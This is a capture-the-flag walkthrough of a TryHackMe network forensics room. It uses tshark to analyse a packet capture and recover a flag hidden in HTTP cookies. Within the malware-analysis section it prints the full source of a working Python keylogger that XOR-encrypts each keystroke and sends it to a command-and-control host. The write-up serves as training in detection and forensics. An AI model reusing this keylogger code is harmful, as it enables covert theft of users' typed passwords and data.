July 31, 2026
TryHackMe Packed Light Walkthrough | Hacker Holidays 2026 Day 4 Complete Write-Up
Hey everyone👋, In this challenge, we will discover how attackers can hide and exfiltrate data through seemingly normal network traffic…

By A. AntorCSE404
7 min read
Hey everyone👋, In this challenge, we will discover how attackers can hide and exfiltrate data through seemingly normal network traffic. The room-packed Light from TryHackMe focuses on network forensics, where our goal is to analyze a packet capture (PCAP), identify a covert communication channel, reconstruct the hidden data, and ultimately recover the flag. Along the way, we'll use tools such as Tshark to investigate suspicious HTTP traffic and uncover the attacker's technique. Let's dive into the analysis! 🔍
Room Link: https://tryhackme.com/room/hh-packedlight-02e5330c
We have to download the file at first. Then what do we have to do ?
After downloading the zip file, at first we have to unzip the file.
unzip packed-light-forensics.zipunzip packed-light-forensics.zipNow, we get a traffic.pcapng file.
Identify the file type, whether it is really a .pcapng file.
$ file traffic.pcapng
traffic.pcapng: pcapng capture file - version 1.0$ file traffic.pcapng
traffic.pcapng: pcapng capture file - version 1.0The file confirms the type: a pcapng capture file, version 1.0.
$ capinfos traffic.pcapng
File name: traffic.pcapng
File type: Wireshark/... - pcapng
File encapsulation: Per packet
Encapsulation in use by packets (# of pkts):
Ethernet (1177)
NULL/Loopback (171)
File timestamp precision: microseconds (6)
Packet size limit: file hdr: (not set)
Number of packets: 1,348
File size: 556 kB
Data size: 510 kB
Capture duration: 41.831541 seconds
Earliest packet time: 2026-06-17 01:38:36.903617
Latest packet time: 2026-06-17 01:39:18.735158
Data byte rate: 12 kBps
Data bit rate: 97 kbps
Average packet size: 378.79 bytes
Average packet rate: 32 packets/s
SHA256: b240e95ea42da26011f0ee10b295ad3942ac394e4bba0c486cc5d577c890dd23
SHA1: b58bab34be881fc9de3fa0856b5b931cb1eae889
Strict time order: False
Capture hardware: AMD Ryzen 7 7700 8-Core Processor (with SSE4.2)
Capture oper-sys: 64-bit Windows 11 (25H2), build 26200
Capture application: Dumpcap (Wireshark) 4.6.1 (v4.6.1-0-g291c718be4fe)
Number of interfaces in file: 2
Interface #0 info:
Name = \Device\NPF_{1C4F904B-03C1-47A6-8C4C-86953C9057DF}
Description = Ethernet
Encapsulation = Ethernet (1 - ether)
Capture length = 262144
Time precision = microseconds (6)
Time ticks per second = 1000000
Time resolution = 0x06
Operating system = 64-bit Windows 11 (25H2), build 26200
Number of stat entries = 1
Number of packets = 1177
Interface #1 info:
Name = \Device\NPF_Loopback
Description = Adapter for loopback traffic capture
Encapsulation = NULL/Loopback (15 - null)
Capture length = 262144
Time precision = microseconds (6)
Time ticks per second = 1000000
Time resolution = 0x06
Operating system = 64-bit Windows 11 (25H2), build 26200
Number of stat entries = 1
Number of packets = 171$ capinfos traffic.pcapng
File name: traffic.pcapng
File type: Wireshark/... - pcapng
File encapsulation: Per packet
Encapsulation in use by packets (# of pkts):
Ethernet (1177)
NULL/Loopback (171)
File timestamp precision: microseconds (6)
Packet size limit: file hdr: (not set)
Number of packets: 1,348
File size: 556 kB
Data size: 510 kB
Capture duration: 41.831541 seconds
Earliest packet time: 2026-06-17 01:38:36.903617
Latest packet time: 2026-06-17 01:39:18.735158
Data byte rate: 12 kBps
Data bit rate: 97 kbps
Average packet size: 378.79 bytes
Average packet rate: 32 packets/s
SHA256: b240e95ea42da26011f0ee10b295ad3942ac394e4bba0c486cc5d577c890dd23
SHA1: b58bab34be881fc9de3fa0856b5b931cb1eae889
Strict time order: False
Capture hardware: AMD Ryzen 7 7700 8-Core Processor (with SSE4.2)
Capture oper-sys: 64-bit Windows 11 (25H2), build 26200
Capture application: Dumpcap (Wireshark) 4.6.1 (v4.6.1-0-g291c718be4fe)
Number of interfaces in file: 2
Interface #0 info:
Name = \Device\NPF_{1C4F904B-03C1-47A6-8C4C-86953C9057DF}
Description = Ethernet
Encapsulation = Ethernet (1 - ether)
Capture length = 262144
Time precision = microseconds (6)
Time ticks per second = 1000000
Time resolution = 0x06
Operating system = 64-bit Windows 11 (25H2), build 26200
Number of stat entries = 1
Number of packets = 1177
Interface #1 info:
Name = \Device\NPF_Loopback
Description = Adapter for loopback traffic capture
Encapsulation = NULL/Loopback (15 - null)
Capture length = 262144
Time precision = microseconds (6)
Time ticks per second = 1000000
Time resolution = 0x06
Operating system = 64-bit Windows 11 (25H2), build 26200
Number of stat entries = 1
Number of packets = 171capinfos gives metadata: 1,348 packets, ~42 seconds duration, captured on a Windows 11 host with Dumpcap/Wireshark 4.6.1.
Look at the protocol hierarchy:
Before diving into individual packets, get a bird's-eye view of what protocols are in the capture.
Command:
tshark -r traffic.pcapng -q -z io,phs
- -r = read from file
- -q = quiet (suppress per-packet output, only show the stats)
- -z io,phs = the protocol hierarchy statistics report
$ tshark -r traffic.pcapng -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter:
frame frames:1348 bytes:510605
null frames:171 bytes:8588
ip frames:171 bytes:8588
tcp frames:171 bytes:8588
data frames:16 bytes:928
eth frames:1177 bytes:502017
arp frames:3 bytes:162
ip frames:1174 bytes:501855
tcp frames:945 bytes:398033
http frames:62 bytes:37862
media frames:1 bytes:1140
data-text-lines frames:30 bytes:27840
tls frames:228 bytes:133744
tls frames:4 bytes:3444
udp frames:229 bytes:103822
ssdp frames:32 bytes:12920
dns frames:18 bytes:2382
quic frames:179 bytes:88520
quic frames:7 bytes:6798
quic frames:2 bytes:2584
===================================================================
Key result: Among DNS, TLS, and QUIC, there's HTTP traffic — 62 frames including
data-text-lines and one media object. HTTP is unencrypted and file-carriable, so that's our
starting point.Command:
tshark -r traffic.pcapng -q -z io,phs
- -r = read from file
- -q = quiet (suppress per-packet output, only show the stats)
- -z io,phs = the protocol hierarchy statistics report
$ tshark -r traffic.pcapng -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter:
frame frames:1348 bytes:510605
null frames:171 bytes:8588
ip frames:171 bytes:8588
tcp frames:171 bytes:8588
data frames:16 bytes:928
eth frames:1177 bytes:502017
arp frames:3 bytes:162
ip frames:1174 bytes:501855
tcp frames:945 bytes:398033
http frames:62 bytes:37862
media frames:1 bytes:1140
data-text-lines frames:30 bytes:27840
tls frames:228 bytes:133744
tls frames:4 bytes:3444
udp frames:229 bytes:103822
ssdp frames:32 bytes:12920
dns frames:18 bytes:2382
quic frames:179 bytes:88520
quic frames:7 bytes:6798
quic frames:2 bytes:2584
===================================================================
Key result: Among DNS, TLS, and QUIC, there's HTTP traffic — 62 frames including
data-text-lines and one media object. HTTP is unencrypted and file-carriable, so that's our
starting point.Enumerate HTTP requests and responses:
tshark -r traffic.pcapng -Y "http.request" \
-T fields -e frame.number -e ip.src -e ip.dst \
-e http.request.method -e http.host -e http.request.uri
=> -Y "http.request" = display filter, only show HTTP request packets
=> T fields -e ... = output only the specific fields we name, tab-separated (clean and
greppable)
$ tshark -r traffic.pcapng -Y "http.request" \
-T fields -e frame.number -e ip.src -e ip.dst \
-e http.request.method -e http.host -e http.request.uri
16 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /temp/updates.py
391 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
428 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
520 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
585 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
619 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
707 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
740 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
790 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
815 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
840 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
868 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
907 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
932 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
961 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
990 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1019 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1038 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1056 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1076 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1094 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1114 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1132 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1150 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1168 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1190 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1220 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1240 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1260 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1278 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1300 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /tshark -r traffic.pcapng -Y "http.request" \
-T fields -e frame.number -e ip.src -e ip.dst \
-e http.request.method -e http.host -e http.request.uri
=> -Y "http.request" = display filter, only show HTTP request packets
=> T fields -e ... = output only the specific fields we name, tab-separated (clean and
greppable)
$ tshark -r traffic.pcapng -Y "http.request" \
-T fields -e frame.number -e ip.src -e ip.dst \
-e http.request.method -e http.host -e http.request.uri
16 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /temp/updates.py
391 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
428 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
520 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
585 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
619 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
707 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
740 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
790 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
815 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
840 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
868 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
907 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
932 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
961 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
990 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1019 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1038 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1056 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1076 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1094 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1114 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1132 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1150 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1168 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1190 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1220 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1240 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1260 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1278 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
1300 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /Also run this command:
$ tshark -r traffic.pcapng -Y "http.response" \
-T fields -e frame.number -e http.response.code \
-e http.content_type -e http.content_length
19 200 text/x-python 1086
416 200 text/html 5134
438 200 text/html 5134
534 200 text/html 5134
596 200 text/html 5134
630 200 text/html 5134
717 200 text/html 5134
751 200 text/html 5134
802 200 text/html 5134
825 200 text/html 5134
850 200 text/html 5134
875 200 text/html 5134
919 200 text/html 5134
945 200 text/html 5134
971 200 text/html 5134
1000 200 text/html 5134
1027 200 text/html 5134
1046 200 text/html 5134
1068 200 text/html 5134
1086 200 text/html 5134
1105 200 text/html 5134
1124 200 text/html 5134
1140 200 text/html 5134
1160 200 text/html 5134
1180 200 text/html 5134
1198 200 text/html 5134
1231 200 text/html 5134
1248 200 text/html 5134
1270 200 text/html 5134
1288 200 text/html 5134
1310 200 text/html 5134$ tshark -r traffic.pcapng -Y "http.response" \
-T fields -e frame.number -e http.response.code \
-e http.content_type -e http.content_length
19 200 text/x-python 1086
416 200 text/html 5134
438 200 text/html 5134
534 200 text/html 5134
596 200 text/html 5134
630 200 text/html 5134
717 200 text/html 5134
751 200 text/html 5134
802 200 text/html 5134
825 200 text/html 5134
850 200 text/html 5134
875 200 text/html 5134
919 200 text/html 5134
945 200 text/html 5134
971 200 text/html 5134
1000 200 text/html 5134
1027 200 text/html 5134
1046 200 text/html 5134
1068 200 text/html 5134
1086 200 text/html 5134
1105 200 text/html 5134
1124 200 text/html 5134
1140 200 text/html 5134
1160 200 text/html 5134
1180 200 text/html 5134
1198 200 text/html 5134
1231 200 text/html 5134
1248 200 text/html 5134
1270 200 text/html 5134
1288 200 text/html 5134
1310 200 text/html 5134Two big findings from the above: 1. Frame 16: GET /temp/updates.py from 192.168.1.141 → 34.41.103.191:8080 (host byte-lotus-hotel.thm). The response is text/x-python. This is a downloaded Python script—almost certainly the malware. 2. Frames 391+: ~30 repeated GET / requests, each returning an identical 5134-byte HTML response. Repetitive, identical beacons like this scream C2 (command-and-control) beaconing.
Carve out the files (HTTP object export):
Command:
tshark -r traffic.pcapng --export-objects "http,./http_objects"
=> --export-objects "http,<dir>" = reconstruct every HTTP-transferred file and dump it to
<dir>.
This produced updates.py (the payload) plus the repeated / responses.
$ ls
%2f '%2f(12)' '%2f(16)' '%2f(2)' '%2f(23)' '%2f(27)' '%2f(4)' '%2f(8)'
'%2f(1)' '%2f(13)' '%2f(17)' '%2f(20)' '%2f(24)' '%2f(28)' '%2f(5)' '%2f(9)'
'%2f(10)' '%2f(14)' '%2f(18)' '%2f(21)' '%2f(25)' '%2f(29)' '%2f(6)' updates.py
'%2f(11)' '%2f(15)' '%2f(19)' '%2f(22)' '%2f(26)' '%2f(3)' '%2f(7)'Command:
tshark -r traffic.pcapng --export-objects "http,./http_objects"
=> --export-objects "http,<dir>" = reconstruct every HTTP-transferred file and dump it to
<dir>.
This produced updates.py (the payload) plus the repeated / responses.
$ ls
%2f '%2f(12)' '%2f(16)' '%2f(2)' '%2f(23)' '%2f(27)' '%2f(4)' '%2f(8)'
'%2f(1)' '%2f(13)' '%2f(17)' '%2f(20)' '%2f(24)' '%2f(28)' '%2f(5)' '%2f(9)'
'%2f(10)' '%2f(14)' '%2f(18)' '%2f(21)' '%2f(25)' '%2f(29)' '%2f(6)' updates.py
'%2f(11)' '%2f(15)' '%2f(19)' '%2f(22)' '%2f(26)' '%2f(3)' '%2f(7)'Analyze the malware (updates.py):
The script is a keylogger with HTTP-cookie exfiltration: C2_URL = "http://byte-lotus-hotel.thm:8080/"
$ cat updates.py
import requests
import base64
from pynput import keyboard
C2_URL = "http://byte-lotus-hotel.thm:8080/"
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass
def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")
print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()$ cat updates.py
import requests
import base64
from pynput import keyboard
C2_URL = "http://byte-lotus-hotel.thm:8080/"
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass
def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")
print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()Look carefully at the getkey() function.
The exfil chain for each keystroke: keystroke → XOR with "H0t3lSt@ff0NlyK3epS3cr3t!" → base64 → Cookie: hotel_sess_state= → GET /
So every GET / beacon carries one typed character, encrypted and hidden in the cookie. Reversing it recovers exactly what the victim typed.
Extract every exfiltrated cookie:
Command:
$ tshark -r traffic.pcapng -Y "http.request" -T fields -e frame.number -e http.cookie
16
391 hotel_sess_state=HA==
428 hotel_sess_state=AA==
520 hotel_sess_state=BQ==
585 hotel_sess_state=Mw==
619 hotel_sess_state=Hg==
707 hotel_sess_state=ew==
740 hotel_sess_state=Og==
790 hotel_sess_state=fA==
815 hotel_sess_state=Fw==
840 hotel_sess_state=eQ==
868 hotel_sess_state=Ow==
907 hotel_sess_state=Fw==
932 hotel_sess_state=Pw==
961 hotel_sess_state=fA==
990 hotel_sess_state=PA==
1019 hotel_sess_state=Kw==
1038 hotel_sess_state=IA==
1056 hotel_sess_state=eQ==
1076 hotel_sess_state=Jg==
1094 hotel_sess_state=Lw==
1114 hotel_sess_state=Fw==
1132 hotel_sess_state=eA==
1150 hotel_sess_state=Pg==
1168 hotel_sess_state=LQ==
1190 hotel_sess_state=Gg==
1220 hotel_sess_state=Fw==
1240 hotel_sess_state=MQ==
1260 hotel_sess_state=eA==
1278 hotel_sess_state=PQ==
1300 hotel_sess_state=NQ==$ tshark -r traffic.pcapng -Y "http.request" -T fields -e frame.number -e http.cookie
16
391 hotel_sess_state=HA==
428 hotel_sess_state=AA==
520 hotel_sess_state=BQ==
585 hotel_sess_state=Mw==
619 hotel_sess_state=Hg==
707 hotel_sess_state=ew==
740 hotel_sess_state=Og==
790 hotel_sess_state=fA==
815 hotel_sess_state=Fw==
840 hotel_sess_state=eQ==
868 hotel_sess_state=Ow==
907 hotel_sess_state=Fw==
932 hotel_sess_state=Pw==
961 hotel_sess_state=fA==
990 hotel_sess_state=PA==
1019 hotel_sess_state=Kw==
1038 hotel_sess_state=IA==
1056 hotel_sess_state=eQ==
1076 hotel_sess_state=Jg==
1094 hotel_sess_state=Lw==
1114 hotel_sess_state=Fw==
1132 hotel_sess_state=eA==
1150 hotel_sess_state=Pg==
1168 hotel_sess_state=LQ==
1190 hotel_sess_state=Gg==
1220 hotel_sess_state=Fw==
1240 hotel_sess_state=MQ==
1260 hotel_sess_state=eA==
1278 hotel_sess_state=PQ==
1300 hotel_sess_state=NQ==This lists all 30 hotel_sess_state=… values in capture order—e.g., HA==, AA==, BQ==, … Each is one encrypted keystroke.
Reverse the encryption to recover the flag:
Since XOR is symmetric, decrypting is the same operation as encrypting: base64-decode, then XOR with the same key. I scripted it so keystrokes stay in the Correct packet order: decode.py
import base64
import subprocess
KEY = ("H0t3lSt@ff0Nly" + "K3epS3cr3t!").encode() # same key as malware
def xor(data, key):
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
# grab cookies in capture order
out = subprocess.check_output([
"tshark", "-r", "traffic.pcapng",
"-Y", "http.request and http.cookie",
"-T", "fields", "-e", "http.cookie"
], text=True)
flag = ""
for line in out.strip().splitlines():
if "hotel_sess_state=" in line:
b64 = line.split("hotel_sess_state=")[1].strip()
flag += xor(base64.b64decode(b64), KEY).decode('utf-8', errors='replace')
print("FLAG:", flag)
python3 decode.pyimport base64
import subprocess
KEY = ("H0t3lSt@ff0Nly" + "K3epS3cr3t!").encode() # same key as malware
def xor(data, key):
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
# grab cookies in capture order
out = subprocess.check_output([
"tshark", "-r", "traffic.pcapng",
"-Y", "http.request and http.cookie",
"-T", "fields", "-e", "http.cookie"
], text=True)
flag = ""
for line in out.strip().splitlines():
if "hotel_sess_state=" in line:
b64 = line.split("hotel_sess_state=")[1].strip()
flag += xor(base64.b64decode(b64), KEY).decode('utf-8', errors='replace')
print("FLAG:", flag)
python3 decode.pyOutput: THM{****_*******_*}
Summary Table for this challenge:
NB: You can use Wireshark and CyberChef to retrieve the flag.